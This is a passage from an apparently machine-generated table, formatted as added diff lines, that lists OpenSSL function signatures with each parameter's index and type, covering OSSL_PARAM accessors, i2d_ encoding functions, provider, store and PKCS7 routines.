ossl_prov_get_keymgmt_free | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *) | | ossl_prov_get_keymgmt_import | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *) | | ossl_prov_get_keymgmt_new | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *) | | ossl_prov_seeding_from_dispatch | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *,void *) | | ossl_prov_free_key | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *,void *) | | ossl_prov_free_key | 1 | void * | +| (const OSSL_DISPATCH *,void *,int,const OSSL_PARAM[]) | | ossl_prov_import_key | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *,void *,int,const OSSL_PARAM[]) | | ossl_prov_import_key | 1 | void * | +| (const OSSL_DISPATCH *,void *,int,const OSSL_PARAM[]) | | ossl_prov_import_key | 2 | int | +| (const OSSL_DISPATCH *,void *,int,const OSSL_PARAM[]) | | ossl_prov_import_key | 3 | const OSSL_PARAM[] | +| (const OSSL_ENCODER *) | | OSSL_ENCODER_get0_name | 0 | const OSSL_ENCODER * | +| (const OSSL_ENCODER *) | | OSSL_ENCODER_get0_provider | 0 | const OSSL_ENCODER * | +| (const OSSL_ENCODER *) | | ossl_encoder_get_number | 0 | const OSSL_ENCODER * | +| (const OSSL_ENCODER *) | | ossl_encoder_parsed_properties | 0 | const OSSL_ENCODER * | +| (const OSSL_HASH *,unsigned char **) | | i2d_OSSL_HASH | 0 | const OSSL_HASH * | +| (const OSSL_HASH *,unsigned char **) | | i2d_OSSL_HASH | 1 | unsigned char ** | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 0 | const OSSL_HPKE_SUITE * | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 1 | OSSL_HPKE_SUITE * | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 2 | unsigned char * | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 3 | size_t * | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 4 | unsigned char * | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 5 | size_t | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 6 | OSSL_LIB_CTX * | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 7 | const char * | +| (const OSSL_HTTP_REQ_CTX *) | | OSSL_HTTP_REQ_CTX_get0_mem_bio | 0 | const OSSL_HTTP_REQ_CTX * | +| (const OSSL_HTTP_REQ_CTX *) | | OSSL_HTTP_REQ_CTX_get_resp_len | 0 | const OSSL_HTTP_REQ_CTX * | +| (const OSSL_IETF_ATTR_SYNTAX *) | | OSSL_IETF_ATTR_SYNTAX_get0_policyAuthority | 0 | const OSSL_IETF_ATTR_SYNTAX * | +| (const OSSL_IETF_ATTR_SYNTAX *) | | OSSL_IETF_ATTR_SYNTAX_get_value_num | 0 | const OSSL_IETF_ATTR_SYNTAX * | +| (const OSSL_IETF_ATTR_SYNTAX *,unsigned char **) | | i2d_OSSL_IETF_ATTR_SYNTAX | 0 | const OSSL_IETF_ATTR_SYNTAX * | +| (const OSSL_IETF_ATTR_SYNTAX *,unsigned char **) | | i2d_OSSL_IETF_ATTR_SYNTAX | 1 | unsigned char ** | +| (const OSSL_INFO_SYNTAX *,unsigned char **) | | i2d_OSSL_INFO_SYNTAX | 0 | const OSSL_INFO_SYNTAX * | +| (const OSSL_INFO_SYNTAX *,unsigned char **) | | i2d_OSSL_INFO_SYNTAX | 1 | unsigned char ** | +| (const OSSL_INFO_SYNTAX_POINTER *,unsigned char **) | | i2d_OSSL_INFO_SYNTAX_POINTER | 0 | const OSSL_INFO_SYNTAX_POINTER * | +| (const OSSL_INFO_SYNTAX_POINTER *,unsigned char **) | | i2d_OSSL_INFO_SYNTAX_POINTER | 1 | unsigned char ** | +| (const OSSL_ISSUER_SERIAL *) | | OSSL_ISSUER_SERIAL_get0_issuerUID | 0 | const OSSL_ISSUER_SERIAL * | +| (const OSSL_ISSUER_SERIAL *) | | OSSL_ISSUER_SERIAL_get0_serial | 0 | const OSSL_ISSUER_SERIAL * | +| (const OSSL_NAMED_DAY *,unsigned char **) | | i2d_OSSL_NAMED_DAY | 0 | const OSSL_NAMED_DAY * | +| (const OSSL_NAMED_DAY *,unsigned char **) | | i2d_OSSL_NAMED_DAY | 1 | unsigned char ** | +| (const OSSL_NAMEMAP *,int,..(*)(..),void *) | | ossl_namemap_doall_names | 0 | const OSSL_NAMEMAP * | +| (const OSSL_NAMEMAP *,int,..(*)(..),void *) | | ossl_namemap_doall_names | 1 | int | +| (const OSSL_NAMEMAP *,int,..(*)(..),void *) | | ossl_namemap_doall_names | 2 | ..(*)(..) | +| (const OSSL_NAMEMAP *,int,..(*)(..),void *) | | ossl_namemap_doall_names | 3 | void * | +| (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 0 | const OSSL_NAMEMAP * | +| (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 1 | int | +| (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 2 | size_t | +| (const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **) | | OSSL_OBJECT_DIGEST_INFO_get0_digest | 0 | const OSSL_OBJECT_DIGEST_INFO * | +| (const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **) | | OSSL_OBJECT_DIGEST_INFO_get0_digest | 1 | int * | +| (const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **) | | OSSL_OBJECT_DIGEST_INFO_get0_digest | 2 | const X509_ALGOR ** | +| (const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **) | | OSSL_OBJECT_DIGEST_INFO_get0_digest | 3 | const ASN1_BIT_STRING ** | +| (const OSSL_PARAM *) | | OSSL_PARAM_dup | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,BIGNUM **) | | OSSL_PARAM_get_BN | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,BIGNUM **) | | OSSL_PARAM_get_BN | 1 | BIGNUM ** | +| (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 1 | BIO * | +| (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 2 | int | +| (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 1 | char ** | +| (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 2 | size_t | +| (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | const char * | +| (const OSSL_PARAM *,const char **) | | OSSL_PARAM_get_utf8_ptr | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const char **) | | OSSL_PARAM_get_utf8_ptr | 1 | const char ** | +| (const OSSL_PARAM *,const char **) | | OSSL_PARAM_get_utf8_string_ptr | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const char **) | | OSSL_PARAM_get_utf8_string_ptr | 1 | const char ** | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *) | | ossl_param_get1_octet_string | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *) | | ossl_param_get1_octet_string | 1 | const char * | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *) | | ossl_param_get1_octet_string | 2 | unsigned char ** | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *) | | ossl_param_get1_octet_string | 3 | size_t * | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t) | | ossl_param_get1_concat_octet_string | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t) | | ossl_param_get1_concat_octet_string | 1 | const char * | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t) | | ossl_param_get1_concat_octet_string | 2 | unsigned char ** | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t) | | ossl_param_get1_concat_octet_string | 3 | size_t * | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t) | | ossl_param_get1_concat_octet_string | 4 | size_t | +| (const OSSL_PARAM *,const void **,size_t *) | | OSSL_PARAM_get_octet_ptr | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const void **,size_t *) | | OSSL_PARAM_get_octet_ptr | 1 | const void ** | +| (const OSSL_PARAM *,const void **,size_t *) | | OSSL_PARAM_get_octet_ptr | 2 | size_t * | +| (const OSSL_PARAM *,const void **,size_t *) | | OSSL_PARAM_get_octet_string_ptr | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const void **,size_t *) | | OSSL_PARAM_get_octet_string_ptr | 1 | const void ** | +| (const OSSL_PARAM *,const void **,size_t *) | | OSSL_PARAM_get_octet_string_ptr | 2 | size_t * | +| (const OSSL_PARAM *,double *) | | OSSL_PARAM_get_double | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,double *) | | OSSL_PARAM_get_double | 1 | double * | +| (const OSSL_PARAM *,int32_t *) | | OSSL_PARAM_get_int32 | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,int32_t *) | | OSSL_PARAM_get_int32 | 1 | int32_t * | +| (const OSSL_PARAM *,int64_t *) | | OSSL_PARAM_get_int64 | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,int64_t *) | | OSSL_PARAM_get_int64 | 1 | int64_t * | +| (const OSSL_PARAM *,int *) | | OSSL_PARAM_get_int | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,int *) | | OSSL_PARAM_get_int | 1 | int * | +| (const OSSL_PARAM *,long *) | | OSSL_PARAM_get_long | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,long *) | | OSSL_PARAM_get_long | 1 | long * | +| (const OSSL_PARAM *,size_t *) | | OSSL_PARAM_get_size_t | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,size_t *) | | OSSL_PARAM_get_size_t | 1 | size_t * | +| (const OSSL_PARAM *,time_t *) | | OSSL_PARAM_get_time_t | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,time_t *) | | OSSL_PARAM_get_time_t | 1 | time_t * | +| (const OSSL_PARAM *,uint32_t *) | | OSSL_PARAM_get_uint32 | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,uint32_t *) | | OSSL_PARAM_get_uint32 | 1 | uint32_t * | +| (const OSSL_PARAM *,uint64_t *) | | OSSL_PARAM_get_uint64 | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,uint64_t *) | | OSSL_PARAM_get_uint64 | 1 | uint64_t * | +| (const OSSL_PARAM *,unsigned int *) | | OSSL_PARAM_get_uint | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,unsigned int *) | | OSSL_PARAM_get_uint | 1 | unsigned int * | +| (const OSSL_PARAM *,unsigned long *) | | OSSL_PARAM_get_ulong | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,unsigned long *) | | OSSL_PARAM_get_ulong | 1 | unsigned long * | +| (const OSSL_PARAM *,void **,size_t,size_t *) | | OSSL_PARAM_get_octet_string | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,void **,size_t,size_t *) | | OSSL_PARAM_get_octet_string | 1 | void ** | +| (const OSSL_PARAM *,void **,size_t,size_t *) | | OSSL_PARAM_get_octet_string | 2 | size_t | +| (const OSSL_PARAM *,void **,size_t,size_t *) | | OSSL_PARAM_get_octet_string | 3 | size_t * | +| (const OSSL_PARAM[],OSSL_LIB_CTX *,const char *) | | EC_GROUP_new_from_params | 0 | const OSSL_PARAM[] | +| (const OSSL_PARAM[],OSSL_LIB_CTX *,const char *) | | EC_GROUP_new_from_params | 1 | OSSL_LIB_CTX * | +| (const OSSL_PARAM[],OSSL_LIB_CTX *,const char *) | | EC_GROUP_new_from_params | 2 | const char * | +| (const OSSL_PARAM[],void *) | | ossl_store_handle_load_result | 0 | const OSSL_PARAM[] | +| (const OSSL_PARAM[],void *) | | ossl_store_handle_load_result | 1 | void * | +| (const OSSL_PQUEUE *) | | ossl_pqueue_num | 0 | const OSSL_PQUEUE * | +| (const OSSL_PQUEUE *) | | ossl_pqueue_peek | 0 | const OSSL_PQUEUE * | +| (const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **) | | i2d_OSSL_PRIVILEGE_POLICY_ID | 0 | const OSSL_PRIVILEGE_POLICY_ID * | +| (const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **) | | i2d_OSSL_PRIVILEGE_POLICY_ID | 1 | unsigned char ** | +| (const OSSL_PROPERTY_DEFINITION *) | | ossl_property_get_number_value | 0 | const OSSL_PROPERTY_DEFINITION * | +| (const OSSL_PROPERTY_DEFINITION *) | | ossl_property_get_type | 0 | const OSSL_PROPERTY_DEFINITION * | +| (const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *) | | ossl_property_find_property | 0 | const OSSL_PROPERTY_LIST * | +| (const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *) | | ossl_property_find_property | 1 | OSSL_LIB_CTX * | +| (const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *) | | ossl_property_find_property | 2 | const char * | +| (const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *) | | ossl_property_merge | 0 | const OSSL_PROPERTY_LIST * | +| (const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *) | | ossl_property_merge | 1 | const OSSL_PROPERTY_LIST * | +| (const OSSL_PROVIDER *) | | OSSL_PROVIDER_get0_dispatch | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | OSSL_PROVIDER_get0_name | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | OSSL_PROVIDER_get0_provider_ctx | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_ctx | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_dso | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_get0_dispatch | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_is_child | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_libctx | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_module_name | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_module_path | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_name | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *,OSSL_PARAM[]) | | OSSL_PROVIDER_get_conf_parameters | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *,OSSL_PARAM[]) | | OSSL_PROVIDER_get_conf_parameters | 1 | OSSL_PARAM[] | +| (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 1 | const char * | +| (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 2 | int | +| (const OSSL_QRX_ARGS *) | | ossl_qrx_new | 0 | const OSSL_QRX_ARGS * | +| (const OSSL_QTX_ARGS *) | | ossl_qtx_new | 0 | const OSSL_QTX_ARGS * | +| (const OSSL_QUIC_TX_PACKETISER_ARGS *) | | ossl_quic_tx_packetiser_new | 0 | const OSSL_QUIC_TX_PACKETISER_ARGS * | +| (const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **) | | i2d_OSSL_ROLE_SPEC_CERT_ID | 0 | const OSSL_ROLE_SPEC_CERT_ID * | +| (const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **) | | i2d_OSSL_ROLE_SPEC_CERT_ID | 1 | unsigned char ** | +| (const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **) | | i2d_OSSL_ROLE_SPEC_CERT_ID_SYNTAX | 0 | const OSSL_ROLE_SPEC_CERT_ID_SYNTAX * | +| (const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **) | | i2d_OSSL_ROLE_SPEC_CERT_ID_SYNTAX | 1 | unsigned char ** | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_CERT | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_CRL | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_PARAMS | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_PKEY | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_PUBKEY | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get1_CERT | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get1_CRL | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get1_PARAMS | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get1_PKEY | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get1_PUBKEY | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get_type | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_LOADER *) | | OSSL_STORE_LOADER_get0_description | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *) | | OSSL_STORE_LOADER_get0_engine | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *) | | OSSL_STORE_LOADER_get0_properties | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *) | | OSSL_STORE_LOADER_get0_provider | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *) | | OSSL_STORE_LOADER_get0_scheme | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *) | | ossl_store_loader_get_number | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *,..(*)(..),void *) | | OSSL_STORE_LOADER_names_do_all | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *,..(*)(..),void *) | | OSSL_STORE_LOADER_names_do_all | 1 | ..(*)(..) | +| (const OSSL_STORE_LOADER *,..(*)(..),void *) | | OSSL_STORE_LOADER_names_do_all | 2 | void * | +| (const OSSL_STORE_SEARCH *) | | OSSL_STORE_SEARCH_get0_digest | 0 | const OSSL_STORE_SEARCH * | +| (const OSSL_STORE_SEARCH *) | | OSSL_STORE_SEARCH_get0_name | 0 | const OSSL_STORE_SEARCH * | +| (const OSSL_STORE_SEARCH *) | | OSSL_STORE_SEARCH_get0_serial | 0 | const OSSL_STORE_SEARCH * | +| (const OSSL_STORE_SEARCH *) | | OSSL_STORE_SEARCH_get0_string | 0 | const OSSL_STORE_SEARCH * | +| (const OSSL_STORE_SEARCH *) | | OSSL_STORE_SEARCH_get_type | 0 | const OSSL_STORE_SEARCH * | +| (const OSSL_STORE_SEARCH *,size_t *) | | OSSL_STORE_SEARCH_get0_bytes | 0 | const OSSL_STORE_SEARCH * | +| (const OSSL_STORE_SEARCH *,size_t *) | | OSSL_STORE_SEARCH_get0_bytes | 1 | size_t * | +| (const OSSL_TARGET *,unsigned char **) | | i2d_OSSL_TARGET | 0 | const OSSL_TARGET * | +| (const OSSL_TARGET *,unsigned char **) | | i2d_OSSL_TARGET | 1 | unsigned char ** | +| (const OSSL_TARGETING_INFORMATION *,unsigned char **) | | i2d_OSSL_TARGETING_INFORMATION | 0 | const OSSL_TARGETING_INFORMATION * | +| (const OSSL_TARGETING_INFORMATION *,unsigned char **) | | i2d_OSSL_TARGETING_INFORMATION | 1 | unsigned char ** | +| (const OSSL_TARGETS *,unsigned char **) | | i2d_OSSL_TARGETS | 0 | const OSSL_TARGETS * | +| (const OSSL_TARGETS *,unsigned char **) | | i2d_OSSL_TARGETS | 1 | unsigned char ** | +| (const OSSL_TIME_PERIOD *,unsigned char **) | | i2d_OSSL_TIME_PERIOD | 0 | const OSSL_TIME_PERIOD * | +| (const OSSL_TIME_PERIOD *,unsigned char **) | | i2d_OSSL_TIME_PERIOD | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC *,unsigned char **) | | i2d_OSSL_TIME_SPEC | 0 | const OSSL_TIME_SPEC * | +| (const OSSL_TIME_SPEC *,unsigned char **) | | i2d_OSSL_TIME_SPEC | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **) | | i2d_OSSL_TIME_SPEC_ABSOLUTE | 0 | const OSSL_TIME_SPEC_ABSOLUTE * | +| (const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **) | | i2d_OSSL_TIME_SPEC_ABSOLUTE | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC_DAY *,unsigned char **) | | i2d_OSSL_TIME_SPEC_DAY | 0 | const OSSL_TIME_SPEC_DAY * | +| (const OSSL_TIME_SPEC_DAY *,unsigned char **) | | i2d_OSSL_TIME_SPEC_DAY | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC_MONTH *,unsigned char **) | | i2d_OSSL_TIME_SPEC_MONTH | 0 | const OSSL_TIME_SPEC_MONTH * | +| (const OSSL_TIME_SPEC_MONTH *,unsigned char **) | | i2d_OSSL_TIME_SPEC_MONTH | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC_TIME *,unsigned char **) | | i2d_OSSL_TIME_SPEC_TIME | 0 | const OSSL_TIME_SPEC_TIME * | +| (const OSSL_TIME_SPEC_TIME *,unsigned char **) | | i2d_OSSL_TIME_SPEC_TIME | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC_WEEKS *,unsigned char **) | | i2d_OSSL_TIME_SPEC_WEEKS | 0 | const OSSL_TIME_SPEC_WEEKS * | +| (const OSSL_TIME_SPEC_WEEKS *,unsigned char **) | | i2d_OSSL_TIME_SPEC_WEEKS | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **) | | i2d_OSSL_TIME_SPEC_X_DAY_OF | 0 | const OSSL_TIME_SPEC_X_DAY_OF * | +| (const OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **) | | i2d_OSSL_TIME_SPEC_X_DAY_OF | 1 | unsigned char ** | +| (const OSSL_USER_NOTICE_SYNTAX *,unsigned char **) | | i2d_OSSL_USER_NOTICE_SYNTAX | 0 | const OSSL_USER_NOTICE_SYNTAX * | +| (const OSSL_USER_NOTICE_SYNTAX *,unsigned char **) | | i2d_OSSL_USER_NOTICE_SYNTAX | 1 | unsigned char ** | +| (const OTHERNAME *,unsigned char **) | | i2d_OTHERNAME | 0 | const OTHERNAME * | +| (const OTHERNAME *,unsigned char **) | | i2d_OTHERNAME | 1 | unsigned char ** | +| (const PACKET *,uint64_t *) | | ossl_quic_wire_peek_frame_ack_num_ranges | 0 | const PACKET * | +| (const PACKET *,uint64_t *) | | ossl_quic_wire_peek_frame_ack_num_ranges | 1 | uint64_t * | +| (const PBE2PARAM *,unsigned char **) | | i2d_PBE2PARAM | 0 | const PBE2PARAM * | +| (const PBE2PARAM *,unsigned char **) | | i2d_PBE2PARAM | 1 | unsigned char ** | +| (const PBEPARAM *,unsigned char **) | | i2d_PBEPARAM | 0 | const PBEPARAM * | +| (const PBEPARAM *,unsigned char **) | | i2d_PBEPARAM | 1 | unsigned char ** | +| (const PBKDF2PARAM *,unsigned char **) | | i2d_PBKDF2PARAM | 0 | const PBKDF2PARAM * | +| (const PBKDF2PARAM *,unsigned char **) | | i2d_PBKDF2PARAM | 1 | unsigned char ** | +| (const PBMAC1PARAM *,unsigned char **) | | i2d_PBMAC1PARAM | 0 | const PBMAC1PARAM * | +| (const PBMAC1PARAM *,unsigned char **) | | i2d_PBMAC1PARAM | 1 | unsigned char ** | +| (const PKCS7 *) | | PKCS7_dup | 0 | const PKCS7 * | +| (const PKCS7 *) | | ossl_pkcs7_get0_ctx | 0 | const PKCS7 * | +| (const PKCS7 *,PKCS7 *) | | ossl_pkcs7_ctx_propagate | 0 | const PKCS7 * | +| (const PKCS7 *,PKCS7 *) | | ossl_pkcs7_ctx_propagate | 1 | PKCS7 * | +| (const PKCS7 *,unsigned char **) | | i2d_PKCS7 | 0 | const PKCS7 * | +| (const PKCS7 *,unsigned char **) | | i2d_PKCS7 | 1 | unsigned char ** | +| (const PKCS7 *,unsigned char **) | | i2d_PKCS7_NDEF | 0 | const PKCS7 * | +| (const PKCS7 *,unsigned char **) | | i2d_PKCS7_NDEF | 1 | unsigned char ** | +| (const PKCS7_CTX *) | | ossl_pkcs7_ctx_get0_libctx | 0 | const PKCS7_CTX * | +| (const PKCS7_CTX *) | | ossl_pkcs7_ctx_get0_propq | 0 | const PKCS7_CTX * | +| (const PKCS7_DIGEST *,unsigned char **) | | i2d_PKCS7_DIGEST | 0 | const PKCS7_DIGEST * | +| (const PKCS7_DIGEST *,unsigned char **) | | i2d_PKCS7_DIGEST | 1 | unsigned char ** | +| (const PKCS7_ENCRYPT *,unsigned char **) | | i2d_PKCS7_ENCRYPT | 0 | const PKCS7_ENCRYPT * | +| (const PKCS7_ENCRYPT *,unsigned char **) | | i2d_PKCS7_ENCRYPT | 1 | unsigned char ** | +| (const PKCS7_ENC_CONTENT *,unsigned char **) | | i2d_PKCS7_ENC_CONTENT | 0 | const PKCS7_ENC_CONTENT * | +| (const PKCS7_ENC_CONTENT *,unsigned char **) | | i2d_PKCS7_ENC_CONTENT | 1 | unsigned char ** | +| (const PKCS7_ENVELOPE *,unsigned char **) | | i2d_PKCS7_ENVELOPE | 0 | const PKCS7_ENVELOPE * | +| (const PKCS7_ENVELOPE *,unsigned char **) | | i2d_PKCS7_ENVELOPE | 1 | unsigned char ** | +| (const PKCS7_ISSUER_AND_SERIAL *,unsigned char **) | | i2d_PKCS7_ISSUER_AND_SERIAL | 0 | const PKCS7_ISSUER_AND_SERIAL * | +| (const PKCS7_ISSUER_AND_SERIAL *,unsigned char **) | | i2d_PKCS7_ISSUER_AND_SERIAL | 1 | unsigned char ** | +| (const PKCS7_RECIP_INFO *,unsigned char **) | | i2d_PKCS7_RECIP_INFO | 0 | const PKCS7_RECIP_INFO * | +| (const PKCS7_RECIP_INFO *,unsigned char **) | | i2d_PKCS7_RECIP_INFO | 1 | unsigned char ** | +| (const PKCS7_SIGNED *,unsigned char **) | | i2d_PKCS7_SIGNED | 0 | const PKCS7_SIGNED * | +| (const PKCS7_SIGNED *,unsigned char **) | | i2d_PKCS7_SIGNED | 1 | unsigned char ** | +| (const PKCS7_SIGNER_INFO *,unsigned char **) | | i2d_PKCS7_SIGNER_INFO | 0 | const PKCS7_SIGNER_INFO * | +| (const PKCS7_SIGNER_INFO *,unsigned char **) | | i2d_PKCS7_SIGNER_INFO | 1 | unsigned char ** | +| (const PKCS7_SIGN_ENVELOPE *,unsigned char **) | | i2d_PKCS7_SIGN_ENVELOPE | 0 | const PKCS7_SIGN_ENVELOPE * | +| (const PKCS7_SIGN_ENVELOPE *,unsigned char **) | | i2d_PKCS7_SIGN_ENVELOPE | 1 | unsigned char ** | +| (const PKCS8_PRIV_KEY_INFO *) | | EVP_PKCS82PKEY | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *) | | PKCS8_pkey_get0_attrs | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | EVP_PKCS82PKEY_ex | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | EVP_PKCS82PKEY_ex | 1 | OSSL_LIB_CTX * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | EVP_PKCS82PKEY_ex | 2 | const char * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | 